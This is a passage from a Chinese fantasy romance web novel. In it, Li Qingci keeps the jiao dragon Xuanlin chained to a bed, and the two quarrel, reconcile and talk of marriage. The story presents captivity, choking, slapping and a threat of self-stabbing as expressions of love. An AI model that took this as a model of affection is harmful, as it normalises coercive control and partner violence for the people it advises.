“嘴里再不干不净,下次捅进去的就是胸口的刀子。” “从今以后,你不许再踏入这里一步!” “滚!” 一句比一句冷寒。 赵玄真犹带稚气的脸上满是委屈,他抹了把眼睛,哽咽道:“那条蛟已经流血了,我只要他衣裳上的血行吗?” 李青辞没说话,返回去把玄鳞抱在怀里。 他扯开玄鳞的衣襟,见他心口的伤已经长住了,不禁松了口气。 赵玄真小心翼翼地窥探他的脸色,拿着东西去粘那片带血的衣裳。 “你别碰他!”李青辞拧起眉心,拿过他手里那团白泥一样的东西,先贴在自己胸口。 过了几息,发现泥团只是会吸血,没其他的作用。 他这才小心地去粘玄鳞心口的血,将他衣衫上沾着的血渍清理干净,李青辞把那个泥团丢给赵玄真:“你可以滚了。” 赵玄真抽了一下鼻子,把伤药丢在他脚边儿。 李青辞头也没抬,冷漠道:“你别摆出这副委屈难受的样子,你我各取所需,互不相欠,我对你没有威逼,只有利诱,我指使你做事,你也从我这里得到了好处,从今以后三十年内,你们白云观每年都有一千两香火钱,新任的知府出自都水司,我已经给他去信,让他好好关照你们白云观。” 赵玄真攥了攥手,抿着嘴没说话。 这个关照有两层意思,他听出来了。 “你放心,有这些血足够给我师傅炼丹了,我没想过再打这只妖的主意,你不必一而再再而三的警醒威胁我。” 李青辞理着玄鳞弄乱的头发:“你明白就好,赶紧滚,他万一醒过来,看见你又要不高兴。” 要不是这个赵玄真横插一杠子,他跟玄鳞根本就不会闹到这种份上,玄鳞也不会受伤。 赵玄真转过头,气冲冲离开了:“谁稀罕待在你这个破地方。” 等他走了,李青辞强撑出来的气势瞬间萎靡下去。 胸前传来尖锐的疼痛,以及不断外溢的鲜血,让他浑身冰凉。 李青辞咬了咬舌尖,缓了口气,他抱起玄鳞,往屋里走。 他手臂、额头的青筋都爆开了,才将将把人拖起来。 他看着无知无觉的人,不由得抱怨一句:“玄鳞,你好重啊,怎么会这么重!” 从门口到床上,短短的距离,李青辞歇了六次,浑身被汗浸透,伤口又迸出许多血来才终于将玄鳞安置在床上。 他虚脱地坐在地上大喘气,缓了许久,他走出内室,来到屋后一角,敲打悬着的一个小钟。 略有些沉闷的钟声,传到远处的一排房子里。 过了一会儿,永思走了过来:“老爷,您有什么吩咐?” 李青辞道:“准备一些伤药和纱布,再备些热水,明天去衙署给我告假五天。” “是。” 等李青辞收拾完自己,已经彻底脱力,脸色青白,嘴唇毫无血色,他歪了歪头,就埋在玄鳞颈窝昏睡过去。 李青辞再醒过来的时候,已经是第二天的下午。 腹中饥饿难忍,一抬起胳膊就牵动了胸口的伤口,李青辞疼得直冒冷汗。 缓了片刻,他拉开玄鳞的衣领,见伤口已经完全愈合,留下一个浅粉色的印记,应该是刚长出来的新肉。 李青辞捻了捻手指,没去碰。 他低头凝视着这张依旧年轻的脸,才后知后觉地感受到心意相通的喜悦。 一连抿了三下嘴,李青辞凑过去,亲了一下玄鳞的唇角。 他慢吞吞地下床,合上卧房的门,映入眼帘的又是一个卧房,不过,这里头的摆设相对比较简单,几乎没有使用痕迹。 李青辞脚步不停,走到最外间,简单洗漱后,先端起一碗凉透了的药,小口喝着。 他喝着清茶漱口,开始慢慢吃饭。 缓了一会儿,身上有了些力气,他走到门口的水车那儿,提了一桶水。 端着水往回走,李青辞按动机关,走进有玄鳞的那间内室。 他打湿帕子拧干,轻轻擦着玄鳞的脸,然后从他的领口开始,一点点擦拭他的衣裳。 换了八遍水,李青辞开始一小绺一小绺地擦他的头发。 直到日落,他终于将玄鳞全身擦了一遍。 五天告假,转瞬即逝。 李青辞正常上衙下衙。 随着时间的流逝,胸口的伤,结痂脱落,长出粉肉。 李青辞每天吃很多饭,尽力想让自己快点胖回来。 只不过月余来,他这点努力,好像在做无用功。 眼睫颤颤,眼皮掀开。 暗金色眼睛睁开的一刹那,映入眼帘的就是一个坐在他脸前直勾勾盯着他的人。 说是直勾勾盯着,其实也不太对,因为那双黝黑的瞳仁没有凝神,只是单纯瞪着,好像是习惯性地把眼神落在那里。 李青辞两只手捧着一只大掌,虚虚攥着。 倏然,手里的大掌抽走了。 李青辞愣了愣,紧紧闭了一下眼睛,复又睁开。 他脸上满是惊喜的笑意,猛地扑过去,趴在玄鳞身上:“玄鳞!你醒啦!” 他蹭了蹭玄鳞的脸,开心道:“我好想你啊!你睡着的时候我每天都跟你说话,可惜你听不见,也不理我。” 玄鳞的眼睛只睁开一瞬,很快又闭上。 他不明白,为什么这个人捅了自己,联合别人要抓他,结果现在却一脸若无其事地跟他说话,好像什么都没发生一样。 “玄鳞……”一声略带羞涩的轻语,李青辞歪头亲了一下他的嘴角,“现在你喜欢我,我好开心呀!” 他等到三十岁的时候,已经彻底放弃了,没想到峰回路转,他竟突然等到了。 玄鳞本来没想搭理,但是被嘴上一下一下的啄吻弄得心烦意乱,像是啄木鸟在啄树一样。 他伸手把人推开:“滚!” 李青辞僵住了,玄鳞从来没有用这么冰冷的语调跟他说过这个字。 他抿了抿颤抖的嘴唇,小声问:“你还在生我的气吗?” 话音落下许久,得到的都只是沉默。 李青辞开始认错:“对不起,我不该骗你,可是如果我不把鳞片给赵玄真,他师傅会死,那他就不会帮我抓你了,我怕你不高兴,才说谎骗你的。” 抓。 玄鳞嘴角勾起一抹讽刺的弧度:“我有哪里对不起你,血、鳞片,我就差把肉剜给你了,你到底还有什么不知足?你费尽心思地抓我,到底还想要我身上的什么?” 不等李青辞回答,他就接着说:“哦,对,还有一样东西我没给你,你想要我的内丹是不是?你死了这条心吧!我就算把它炸了,也不会给你个没心肝的玩意儿,李青辞,你想都别——” 话语戛然而止。 他嘴上覆着一片温软,将他嘴里剩下的话全部堵了回去。 李青辞舔着他的嘴唇,突然一股大力将他推开。 李青辞不受控地后仰,一脑袋栽到床下,额头撞在石砖上,发出“砰”的一声,李青辞登时头昏脑胀,目眩不止,趴在地上好一会儿没动静。 “小崽儿!” 玄鳞下意识喊了一声,当即翻身坐起,要去抱他。 结果他两条腿被拴住,冲出去的身形硬生生僵在半路,整个人狼狈地趴在地上,锋利的床沿像是一柄铡刀,拦腰将他的身体断成两截。 玄鳞两条腿被锁链拴住锁在床上,他额头触地,上半身悬在床边。 受制于人,狼狈不堪。 从破壳以来,近千年间,他从来没有落入过这般田地。 李青辞听见动静,顾不得晕眩,立刻迷蒙着眼睛,爬起过去扶他:“怎么了?玄鳞,你摔着了吗?” “滚!滚!”极其暴戾的怒喝。 李青辞僵住不动。 玄鳞拍地而起,他现在满心厌恶,伸手去扯自己两条腿上拴着的锁链,可是他手臂都爆开了青筋,眼都快逼红了,这两条锁链依旧没能扯烂。 哗啦啦的沉闷声响,持续响起。 李青辞轻喘着气,慢慢爬到床边,扯了扯他的衣摆:“别废力气了,你解不开的。” 玄鳞目光陡然转向他:“别碰我,李青辞,你让我恶心。” 李青辞垂首听着,脸色煞白,嘴唇毫无血色。 他松开手,后退几步,撑臂起身,站得摇摇欲坠,仿佛下一瞬就要瘫软在地。 玄鳞看着他,心中升腾一股快意,恶意的目光恨不得将他剐了,同时,又无法自抑地生出刀绞一般的痛苦。 两种情绪混乱在一起,像一把锯子,在心头反复磨砺。 李青辞手攥得很紧,掌心掐出深深的痕迹,眼圈红了又红,眼底漫上来水色。 无声僵持许久,他依旧没有倒下,只红着眼并未落泪。 这个结果似乎不是玄鳞想看见的,他盯着李青辞怒吼:“滚过来!” 神情暴怒,暗金色的眼睛里满是戾气,咬牙切齿的语气,若不是被锁住,恨不得当即冲过来将人撕碎。 这一切都昭示着眼前这个凶兽很危险。 李青辞闭了闭眼,抬起僵硬的两条腿,一步步走过去。 玄鳞一把将他拽到身前,猛地掐住他的脖子,语气森寒:“给我解开!” 脖颈传来很深的窒息感,李青辞不受控地张大嘴巴,嘴里嗬嗬喘气:“……解开,你…就要…要走是吗?” 玄鳞没回答。 但是答案显而易见,是肯定的。 李青辞直视他,一字一顿道:“我是不会解开的,你也死了这条心吧。” 玄鳞怒极,凶狠地掐着李青辞的脖子,但是又不知道自己接下来该怎么办。 玄鳞闭了闭眼,疲惫道:“你解开锁链,我不跟你计较,不会报复你,就当我们没认识过,以后各走各的路。” 李青辞声音立刻尖锐起来:“不可能!我绝对不会给你解开,你哪都别想去!” 见他冥顽不灵,不见棺材不落泪。 玄鳞收拢掌心,手指几乎要摁在皮肉里,李青辞颈间一寸寸收缩,呼吸被剥夺,他脸色涨红,眼睛里泛起血丝,紧蹙的眉心让他看起来很痛苦,可是他没有挣扎,双臂无力地垂在身侧。 玄鳞喉结滚了滚,放松力道:“给我认错。” 李青辞立刻听话开口:“对不起。” 玄鳞道:“说你错了,后悔了,然后给我解开锁链。” 李青辞抬眼,深深看着他,一语不发。 玄鳞又收紧手指,语气不断加重:“说!说你错了!后悔了!” 李青辞依旧缄默,强烈的窒息感逼得他眼周泛起红晕,眼尾溢出水珠。 兀的,李青辞笑了。 笑容极其刺眼。 他艰难地喘气,但是语气斩钉截铁:“我是错了,可我不后悔!” 啪! 一声脆响。 李青辞脸被打偏,白皙的脸颊立时浮起红肿的指痕。 玄鳞松开他的脖子,拽住他的衣领把人拉到眼皮子底下:“说,说你后悔了,我就不跟你计较。” 李青辞扬唇笑了起来,嘴角翘得高高的,他盯着那双暗金色的眼睛,眼神倔强,几乎是在挑衅:“我不后悔,就算你今天打死我,我也不后悔。” “再来一次,我还是会抓住你,把你留在我身边!” 说到最后,李青辞吼了起来。 “我就是不后悔!!!” 玄鳞闭了闭眼,忽觉累极,右手疼得像针扎一样,害的他心都疼了。 无计可施。 骂他? 骂他难解心头之恨。 打他? 打他……打他…… 玄鳞第一次这么深刻地体会到什么叫无能为力、无可奈何。 他无力地垂下手,满心满身的疲累,仰头躺下,沉默不语。 李青辞摸着自己红肿发烫的脸,极小声地抽了抽鼻子。 长这么大,玄鳞这是第一次真打他。 不过,李青辞抹了下眼睛,他一点都不亏,该挨这个打。 “滚出去哭!” “……好,知…知道了。” 李青辞抹了下眼睛,当即起身离开。 玄鳞翻过身,背对着人,铁链碰撞在一起,带起一阵令人心烦意乱的哗啦声,好一会儿才停。 李青辞出去后,先洗了把脸,然后坐下慢慢吃饭,可是心里惦记着人,咀嚼的速度越来越快。 差点噎着,他连忙喝口汤顺一顺。 吃完饭,他起身照了照镜子,一边在浴桶里泡澡,一边用冰帕子敷脸,用手炉烘干头发,回到内室。 屋外一片漆黑,室内明珠璀璨,照耀得恍若白昼。 李青辞拿着裁好的棉布条,坐在床尾,抬起玄鳞一只脚搁在自己腿上,刚抬起来,手上一空。 玄鳞曲起了腿。 李青辞去抬他另一只脚:“你别动,我把锁链上缠一层软布,省得动静太大,惹你心烦。” 玄鳞置之不理,两条腿都曲了起来。 李青辞叹了口气,没去管他脚腕的环铐,先去缠锁链。 缠几下,又解开,再重新缠,再解开。 李青辞不太满意,总是返工,最后他脖子和腰佝偻得实在受不了了,才终于完工。 他仰头平躺,板板腰,伸手捏着脖子,缓了一会儿,他索性平趴着,支着小臂,去缠玄鳞脚腕上的环铐。 玄鳞又把腿伸直了,带出一阵沉闷的哗啦声,很快就停了。 李青辞手上扑了个空,他很无奈,拍了拍玄鳞的腿:“你能不能听话一点,我想赶紧给你缠完,我困了想睡觉。” 回答他的是一片沉默。 李青辞真不想耗时间了,他想歇着了,今天真的好累。 他翻身爬起来,直接盘腿坐在玄鳞腿上,开始细致地缠布。 不安分的腿被压住,老老实实,一动不动。 好一阵子,李青辞终于缠完了,他拍了拍穿着鞋子的大脚,郁闷道:“玄鳞,虽然你的鞋很干净,可是这是在床上,哪有人穿着鞋上床睡觉的,你把它收回去吧。” 这次回应他的不再是沉默,而是一道讽刺的冷嗤。 李青辞愣了下,忽然,他整个人被掀开,歪着身子跌坐在一旁。 李青辞迷茫地爬起来,惊讶地看着背对他的黑色身影。 玄鳞这么有劲儿吗?他整个人都压在腿上了,还能这么轻易地掀开他。 第64章 我们成婚吧,好不好?…… 李青辞抿了抿嘴,小声嘟囔:“你干嘛呀,突然又生气,我给你脱行吗?” 他挪过去,抬起玄鳞的小腿,给他脱鞋。 一道冷漠的声音响在他耳边。 “你要是想拔我的鳞就直说,不用这么拐弯抹角的。” 李青辞愣住了,双手僵硬无比,闭了闭眼,他气得捶这只脚。 捶完犹不解气,李青辞又去踹他。 两条腿跟铁棒一样,被一连踹了四五脚,纹丝不动,连一点儿都没偏动过。 李青辞踹得脚疼,他悻悻地爬到床头,将自己整个人砸在这条蛟身上。 他扯过床里侧的被褥,盖在两人身上,可惜被子还没落下,他整个人就被掀开了。 李青辞摔了个倒仰,可谓是四脚朝天。 “滚,你别挨着我。”玄鳞推开人,背过身去。 李青辞抿了抿嘴,没吭声,翻身坐起来,继续去搂他。 又被掀开。 李青辞喘了两口气,又去搂他。 “我让你滚!” 随着语气的加重,手上的力道也加大。 李青辞被猛地掀开,整个人滚了两圈直往床下跌,眩晕中,他急忙抓住帷帐想维持身形,结果“呲啦”一声。 帷帐被撕裂,李青辞拽着一截儿布,“砰”的一下落在地上。 “……嘶!” 李青辞咬着嘴唇,仍是无法控制地泄出一道压抑的抽气声。 床上的黑色身影仿若僵成一条木棍,扬起的手臂还在悬空。 沉默片刻。 李青辞扔掉布条,慢吞吞地爬上床,庆幸道:“还好这地我今天才擦过,不然滚一身土,你又要嫌我脏了。” 李青辞跟没事人一样,按下玄鳞举着的手臂,趴在他怀里,用脑袋蹭他的下巴:“玄鳞,不生气了,好不好,我们睡觉吧。” 玄鳞抬手遮在眼上,没作声。 李青辞支着脑袋,亲他的手心,又亲了亲他的嘴唇,末了,舔了下他的下巴:“我知道错了,你原谅我吧,求求你了,别生我的气。” 玄鳞放下手看他:“知道后悔了?行,链子给我解开。” 李青辞小心觑他,抿着嘴,没敢反驳,凑上去亲他的下巴。 刚伸出一点舌尖,李青辞脑袋就被推开了。 “先解开链子。” 李青辞当没听见,紧紧搂住他的手臂,脸深深埋在他颈窝里,佯装自己睡着了。 玄鳞强硬地抽出自己的手臂,把人推远:“滚开。” 李青辞没再强求,躺在他不远处,只不过手里攥着他一截儿袖子,死死压在腹下,任凭他怎么抽都不松手。 渐渐,抽拽的力道停了,李青辞本来是装睡,结果没一会儿,他真的睡过去了。 他顶着一张红肿的脸,和身上这一块、那一块的淤青,就这么睡了过去。 眉眼很放松,看起来睡得没心没肺的。 他跟玄鳞在一起的时候,身上连一点油皮都没破过,吃进嘴里的饭,喝进嘴里的水,温度都是正正好好的,不凉也不烫。 洗完的头发,会有人立刻给他烘干,身上沾一点尘土和污渍,都会被温热的水流轻柔拂去。 那双眼睛很少哭,刚哭起来就有人抱着他哄,轻柔擦去他脸上的泪痕,舔去他眼睛的红肿。 可现在…… 他浑身都是伤…… 额头有块磕伤,在单薄的皮肉上鼓起一个泛着青紫的包。 一侧脸颊浮起深红色,上面的指印连成一片。 胸口处有两道圆疤,像是手指头按在了宣软的馒头上却没有弹起来,留下一个刺眼的凹痕。 小臂、膝盖、小腿,都有着不大不小青紫红黄的淤伤。 怎么会受这么重的伤,李青辞从来没有这么可怜过。 被可怜的李青辞,此时却安稳睡着。 他颈侧的衣裳被挑开,露出脖子上挂着的黑色细绳。 底下那片白色的月牙状鳞片,被一只宽大的手握住。 似是要从他脖子上扯下来。 许久。 握住鳞片的手一直没动。 直到,一道细微的嘤咛声响起,坚硬的下巴被柔软的发丝搔动。 “玄鳞……玄鳞……” 睡梦中的李青辞无意识地喊出这个名字,脸颊紧贴着一截温凉的脖子。 寂静中恍若响起一声无奈的轻叹。 泛着凉意的鳞片,重新贴在了温热的心口处。 四下静谧,一夜好眠。 李青辞一觉睡到日上三竿,睁眼后只觉神清气爽。 他屈起腿横在两条坚硬的腿上,绷了绷脚尖,语气有些遗憾:“没有尾巴缠我的小腿了,被缠习惯了,冷不丁地不缠了,还挺不习惯。” 被他压在底下的黑色身影沉默不语。 李青辞脑袋枕在一片宽阔的肩上,他攥住一条手臂,举到嘴边,亲了亲冰凉的手背。 “手好凉呀,我给你暖暖好不好?”说着,李青辞把这只手掌搁在自己脸上。 恰好是昨天挨了巴掌的半张脸。 李青辞用舌头顶了顶腮,发现不疼了。 他翘起嘴角笑了笑,往上窜了窜,“啪叽”一口亲在玄鳞嘴上,动静十分响亮。 “玄鳞,你真好,我真的好喜欢你啊,好爱好爱你!” 李青辞笑得眼都找不见了,欢快的笑声直直扑了蛟满脸。 床内阴沉的黑气被这毫无章法又极为亲热的亲吻亲散许多。 李青辞一直乐颠颠的,欢快地抖着腿,时不时就在那张满是黑气的脸上亲一口。 “玄鳞,我好喜欢这样呀,我早就想亲你了,现在你喜欢我,我也喜欢你,真的太好了,我真的太开心了!!!” 李青辞扭过头,在玄鳞嘴上重重亲了一口。 自顾自亲了好一会儿的李青辞,终于觉得有哪里不对,他伸出手指头戳了戳玄鳞的脸颊:“你明明都醒了,干嘛不跟我说话?” 玄鳞面无表情,似是无知无觉。 李青辞努着嘴,不大高兴,语气里透出一股无法遏制的委屈:“你怎么这样?睡着的时候不理我就算了,睡醒了也不理我。” 话落,仍是一片沉默。 李青辞轻轻哼了一声,用脑袋拱他:“不理就不理。” 他捞着身侧垂落的大掌,在五个指头上挨个咬了一口,然后一把丢开手,起身下床。 稍作收拾一番,李青辞离家上衙。 他坐在案桌后数着时间,深刻体会到什么叫度日如年、心急如焚、一日不见如隔三秋。 一到放衙时辰,李青辞率先掀袍离去,甩了身后众人一大截儿。 晚间。 李青辞喜气洋洋地挨着玄鳞躺下来,捧着他一只手亲,倏地一下,手抽走了。 李青辞撇了撇嘴,凑过去抱他的腰,刚抱没一会儿,人被推开了。 “不抱就不抱!”李青辞不高兴地努嘴,照着他一条腿,一连踹了五下。 李青辞转过身,背对着黑色身影。 夜色渐深。 李青辞困意愈浓,他转过来,挨挨蹭蹭地偎在玄鳞身边,额头虚虚抵着肩膀,鼻息间全是清冽的气味,很快,李青辞沉睡过去。 在蹬鼻子上脸这件事上,人是没有止境的。 李青辞一日比一日得寸进尺,先是越挪越近,一人一蛟紧紧挨着,高大的男人被挤到墙边。 李青辞手里总要攥着点什么,先是一截儿袖子,慢慢的,袖子换成两根手指,换成一整只手,换成一条胳膊。 现在更是换成一整条蛟。 李青辞大半个身子全趴在玄鳞身上,手脚都扒着蛟,脸埋在烘热的颈窝里。 发丝搔在脸边有点痒,他跟玄鳞磨了磨脸,蹭去那股痒意。 玄鳞面无表情地闭眼躺着,一动不动。 李青辞亲了亲他的脸,等了一会儿,没等到回应。 李青辞没有气馁,他挪过去,俯趴在玄鳞身上,含住他的下巴舔着,含糊道:“……玄鳞,你疼疼我吧,好不好?” 紧闭的眼帘猛地一颤。 “玄鳞,疼疼我,你很久没疼我了。” 自己的雌兽趴在身上,乖顺地舔着下巴,撒着娇要疼爱。 哪一头雄兽能忍得住呢。 玄鳞紧紧攥着手,牙都快咬碎了,他一点都不想疼这个没良心的崽子。 下巴的舌头挪开了。 紧接着响起一道委屈巴巴的声音。 “不疼就不疼,我出去找——” 出去找什么?去找别的雄兽疼吗! “呜呜……”李青辞被猛地压在底下,嘴唇被堵住。 玄鳞简直是在气急败坏地疼他,一改往日温柔的力道,用力地舔。咬李青辞的嘴唇。 不像是在疼,像是在惩罚。 李青辞却甘之如饴,他弯着眼睛笑了起来,伸手搂住玄鳞的脖子,尽力扬着下巴去顺从迎合。 玄鳞搂他的力道极大,恨不得将手掌按进他身体里,宽大沉重的身躯压在他身上,将人完全覆在身下。 在李青辞极为顺从的讨好下,玄鳞狂暴的气息越来越平缓。 这场疼爱渐渐有什么发生了改变,不再是以往单纯的亲昵,而是掺杂了一丝暧昧的欲色。 李青辞脸色染上红晕,无意识地挺着胸膛,支起腰胯往上贴。 玄鳞泄愤似的咬了下他的舌尖儿,李青辞唔了下,委屈得哼唧两声。 嘴里黏黏糊糊轻喊着:“玄鳞……玄鳞……疼疼我……” 压在底下的两条腿缓慢地蹬动,玄鳞看着眼下这张布满红潮的脸,气息也跟着急促起来。 他的雌兽发情了。 手掌不受控地想去抚摸这张委屈的脸,刚贴上去,温软的小脸就埋进了他手心里,热热的鼻息打在他指腹间。 李青辞难耐地绞着腿,咬着嘴唇不知如何是好。 想起身出去解决,可是他又舍不得,好不容易把玄鳞磨软了。 留在这儿,他不好意思自己弄,估计玄鳞也不会,可能也不愿意帮他。 火烧得越来越旺,李青辞有些扛不住了。 他一张嘴,嗓子哑得不行:“玄鳞,你先挪开,我出去一下。” 玄鳞语调冰冷,不容置疑:“哪都不准去,就在这待着。” 李青辞眼睛都憋红了:“玄鳞,我难受……你应该知道的,你之前春情期也这样。” 玄鳞摸了摸他的脸,低沉的声音带着哄人的意味:“你乖,说你后悔了,给我解开锁链,我就满足你。” 李青辞迷离的眼睛逐渐清醒,浑身燃烧的火焰,被兜头一盆冰水浇下来,倏地熄了。 他的眼圈不由自主红了起来,两行眼泪登时就下来了。 玄鳞怎么可以跟他说这种话。 他的爱欲不是能交换的条件。 李青辞难受极了,心里直揪得疼,他闭上眼,侧过脸埋在床褥里,无声哭了起来。 玄鳞抿着嘴没吭声,他不知道发生了什么,刚刚还生龙活虎抵着他的小东西,现在蔫哒哒的软了下去。 那双眼睛又流泪了,而且哭得很伤心,即使看不清脸,也知道他哭得很可怜。 玄鳞心里涌出愤怒,宁愿这样哭,这样难受,都不愿意放开他。 到底想图什么! 都已经抓到他了,为什么还要亲他,说爱他,变着法的跟他撒娇。 到底什么时候才对他下手。 他讨厌这种悬而不决的等待。 牙齿深深陷入柔软的唇瓣里,即使李青辞嘴巴已经抿得很紧了,可是委屈的哭声仍是泄了出来。 他立刻抬起手臂,捂住自己的嘴。 “滚出去哭!” 李青辞哽咽着,想说自己知道了,可是他说不出话来。 他揣着手臂想爬起来,可是被压在底下根本挣脱不开。 “…你…你起开呀!” 身上的沉重挪开了。 李青辞坐起来,一直低着头,散开的头发遮住他大半张脸,他快速起身挪到床边。 猝不及防。 一条手臂横在他腰间,强硬地将他往回拖。 后背靠在一片坚硬的胸膛上,李青辞曲起腿,额头抵上膝盖,将自己的脑袋埋在臂弯里。 搂在他腰间的手,一掌按住他两条大腿,用力往下一压,另一只手摁住他的胸口,将人扳过来。 沾满泪水的脸重新暴露在空气中。 手指挑开贴在他脸上的发丝,鬓边的乱发被捋到耳后,哭湿的脸被粗鲁地抹了两下。 李青辞忍不住伸手打他:“你干嘛呀?怎么可以对我说那种话,你怎么可以对我说这么难听的话!你太伤我的心了,我现在讨厌你,不想让你碰我!” 禁锢他的人,身形纹丝不动。 李青辞是真的伤心了:“你走开呀!走开,别碰我!” “我走哪去!你把我栓在这了,我能去哪!”玄鳞一边暴躁地哄他,一边温柔地给他擦脸,“李青辞,我真恨不得掐死你!你竟然拿这种铁链子像栓畜牲一样栓我!” 李青辞攥住他的手,抽噎着解释:“对不起,我知道错了,可我只是想留住你。” “我也没办法呀,谁让你那么厉害,力气那么大,我倒想只用头发丝绑住你一根手指,可是绑得住吗!” “我做了那么多准备,前前后后用了六波人,花了一年半的时间才布完阵,院里院外总共贴了七百多张符,就这样,你还是差点就跑了。” 李青辞十分坦然,一点都不避讳他做下的事。 玄鳞沉默听着,神色难辨。 李青辞忍不住踹他一脚:“你知道你有多沉吗?我把你抱在床上都快累死了,手臂累得筷子都拿不起来,你这么大的个子,又这么沉,除了这种锁链,其他的根本就困不住你!” 玄鳞垂着眼皮:“用不着锁链,你用那个簪子一直插在我心口,再捅深一些,我就动不了。” 说完,玄鳞突然笑了一下,笑容嘲讽,不知是在自嘲,还是在嘲讽别人。 李青辞听完,突然一阵耳鸣,脑袋嗡了一下,他神情恍惚地看着玄鳞,嘴唇的血色在一刹那褪去,小脸煞白,眼里满是受伤和不可置信。 玄鳞别过脸,狠抿了下嘴:“算了,你当我没说。” 李青辞茫然地睁大眼睛,嘴唇抖得不成样子。 他扒开胸前的手,起身往外爬。 玄鳞箍住他,声音很低道:“好了。” “你走开!”李青辞声嘶力竭地喊了一声,他猛推一下,“现在在你眼里,我就是罪大恶极,十恶不赦的坏人,是个狼心狗肺的白眼狼!” 李青辞语气哽咽起来:“我怎么舍得让你疼,怎么会把那东西一直插在你心口,你怎么能这么想我,怎么能这么想我!!!” “我不要待在这儿了,我不想听你说这么难听的话,你怎么可以对我说这么重的话!” 李青辞委屈极了,一副伤心难过的样子。 很重的话吗? 是啊,很重。 一直被捧在手心里的人,突然被搁在了手背上,怎么会不委屈呢? 玄鳞拉开衣领,露出心口那枚伤痕:“你这么委屈做什么?我这里不是你捅的吗?” “那你杀了我,你杀了我好了!”李青辞言辞激烈起来,“事情我已经做下了,伤疤永远都不会好,你要是不解气,你就掐死我!” 李青辞握住他的手,搁在自己脖子上。 玄鳞撤回手:“我从来没有杀过人,以前不会,以后也不会。” 李青辞道:“那我去拿刀,我自己捅自己。” 玄鳞语气淡漠:“随便你。” 李青辞丝毫没有犹豫,立刻起身下床,连鞋都没穿,抬脚就往外走。 玄鳞猛地倾身,一把捞着他的手臂,把人拽回来。 李青辞抗拒:“你松开我!我一定要捅给你看,不然你以为我又在装样子骗你。” “好了。”玄鳞把他摁在怀里,牢牢箍住。 李青辞根本不听,用力挣扎:“既然你觉得我现在这么坏,那你还哄我干什么,你干脆一句话都别理我!以后都别理我了!!!” 玄鳞皱起眉:“别喊了,嗓子都哑了。” 李青辞小声说话:“用不着你管,反正你现在又不心疼我,我就算把嗓子喊出血,也跟你没关系。” 玄鳞没说话,扯了扯他脖子上的细绳。 一个小动作,李青辞被哄好了,他抽了抽鼻子:“这是你们蛟定情用的吗?” 玄鳞否认:“不是。” 李青辞狐疑地看他,想打量他到底是口是心非,还是真的否认。 玄鳞一脸坦然,任人盯着看。 李青辞方才嚎了一场,现在头有点晕,软软地靠在他怀里,脑袋枕在肩上,摸着鳞片问:“不是定情用的,你给我干嘛?这东西应该很重要呀。” 就是很重要才给的。 玄鳞下巴压在人头顶。 因为逆鳞里含着他的精血真气,小崽子带在身上的话,水里的任何妖物都不敢近他的身,不会出现上次鳝鱼精把他拉下水的情况。 谁知道给出去后得到这么个结果。 玄鳞低头看了一眼鼻子红彤彤的人,烦躁地别开脸。 李青辞见他不说话,也没再追问,小心地把鳞片放回去,伸手搂住他的腰:“你说给我带很重要的东西,那个东西是什么?难道你们蛟求偶是要用夜明珠吗?” “不是。” 李青辞困惑:“是那个木头吗?还是石头?” 刚说完他额头就挨了一下,这次弹得力度有点大。 李青辞捂着额头,脑子里突然想起了什么,眼睛一亮:“那是你的角,对不对?” 玄鳞睨他一眼,没做声。 李青辞顺着往下猜:“那只角没有分叉,长度也很短,是你以前脱落下来的吗?就跟蜕下的皮一样。” 玄鳞没说话,看样子是默认了。 李青辞抱着玄鳞一起往床边挪,从床头的格子里拿出那只角,珍惜地捧在手里:“原来它才是我们定情的信物呀。” 说完,李青辞失落起来,小声道:“可是我没有什么能给你的,我浑身上下没有一点有用的东西。” 他现在年纪大了,肉都不嫩了,吃起来口感肯定不好,而且玄鳞也不吃人。 李青辞垂头坐着,满头的黑色长发披散着,遮住大半截腰身,衬得人愈发清瘦。 玄鳞把人推开:“去吃饭,好好泡个热水澡,回来给我暖床。” 李青辞坐着没动,凑到他脸前,看着他的眼睛认真道:“实在的东西我给不了你,但是我可以给你一些虚的。” “比如说名分,我们成婚吧,好不好?我想娶你,明天我就让人去做喜服。” “娶我?”玄鳞眉心拧成一团,“你们凡人不是男人和女人才能成婚吗?我是公蛟!不是母的!” 李青辞笑着点头:“我知道呀,没关系的,两个男的也能成婚,只要我们愿意就行,又没有人拦着。” 玄鳞冷着脸道:“我不愿意。” 李青辞不解,立刻追问:“为什么?” “没有为什么,就是不愿意!” “为什么!”李青辞不依不饶,“你喜欢我,你都跟我求偶了,我也已经答应你了,为什么现在让你嫁给我,你却不愿意?” 玄鳞推开眼前的脸:“我不喜欢你,别自作多情。” 李青辞抱着他的手不松:“不行,你不能这样,这么大、这么重要的事情,你怎么能出尔反尔,说话不算话?” 玄鳞从他手里拿回自己的角:“我后悔了,我就说话不算话。” 李青辞瞪他,趁他错开视线的时候,眼疾手快,一把夺过他手里的角,背在身后,强硬道:“我不管,你后悔也没用,这东西给了我就是我的,你嫁也得嫁,不嫁也得嫁,反正你被锁在这里,哪都去不了,我就要娶你!” “明天我就去找太夫人,把族谱要过来,到时候把你的名字写在我家的族谱上。” 东西被夺走了,玄鳞也没再要回来,他道:“你家的族谱有什么用?” 李青辞不禁气虚,气势萎靡下来,声若蚊蝇:“……没…没有什么用,我们家往上四代都是单传,我们俩都是男的,生不了孩子,族谱到我这儿就没了。” 玄鳞冷呵一声。 李青辞晃了晃他的手,轻声道:“反正也没什么用,那你就嫁给我吧,把名字添在我家的族谱上,好不好?” 玄鳞不说话了。 第65章 别动不动就亲我! 李青辞抱着玄鳞缠磨:“玄鳞~~嫁给我吧,好不好?你知道的,我十六岁的时候就想娶媳妇,其实,那时候我就想娶你。” 玄鳞顿了顿,冷着脸道:“刚才语气不是挺强硬吗,说嫁也得嫁,不嫁也得嫁,现在又问我干嘛?” 李青辞道:“因为我想和你情投意合、两厢情好,想让你心甘情愿嫁给我。” 玄鳞冷哼一声,把人推开了。 李青辞翘了翘嘴角,没再缠磨,他趴到玄鳞脸边,亲了亲手里的角,郑重道:“我一定会好好珍惜它的。” 玄鳞闭眼躺下了。 李青辞咬着嘴唇,心有犹豫,他把角放回格子里,小声道:“玄鳞,其实有件事我还骗了你。” 玄鳞刷地一下睁开眼睛,冰冷地看着他。 李青辞心虚起来,嗫喏道:“你给我的那个小夜明珠,其实是我故意摔碎的,当时你走了,我特别生气,拿起来就摔了。” 声音越来越小,说到最后猛地提高音量:“但是我后悔了!等我去捡的时候,它已经碎了。” 玄鳞瞪他一眼,随即闭上眼不予理会。 李青辞如释重负地舒了口气:“好了,我没有其他事情骗你了,以后也不会再骗你。” 玄鳞沉默。 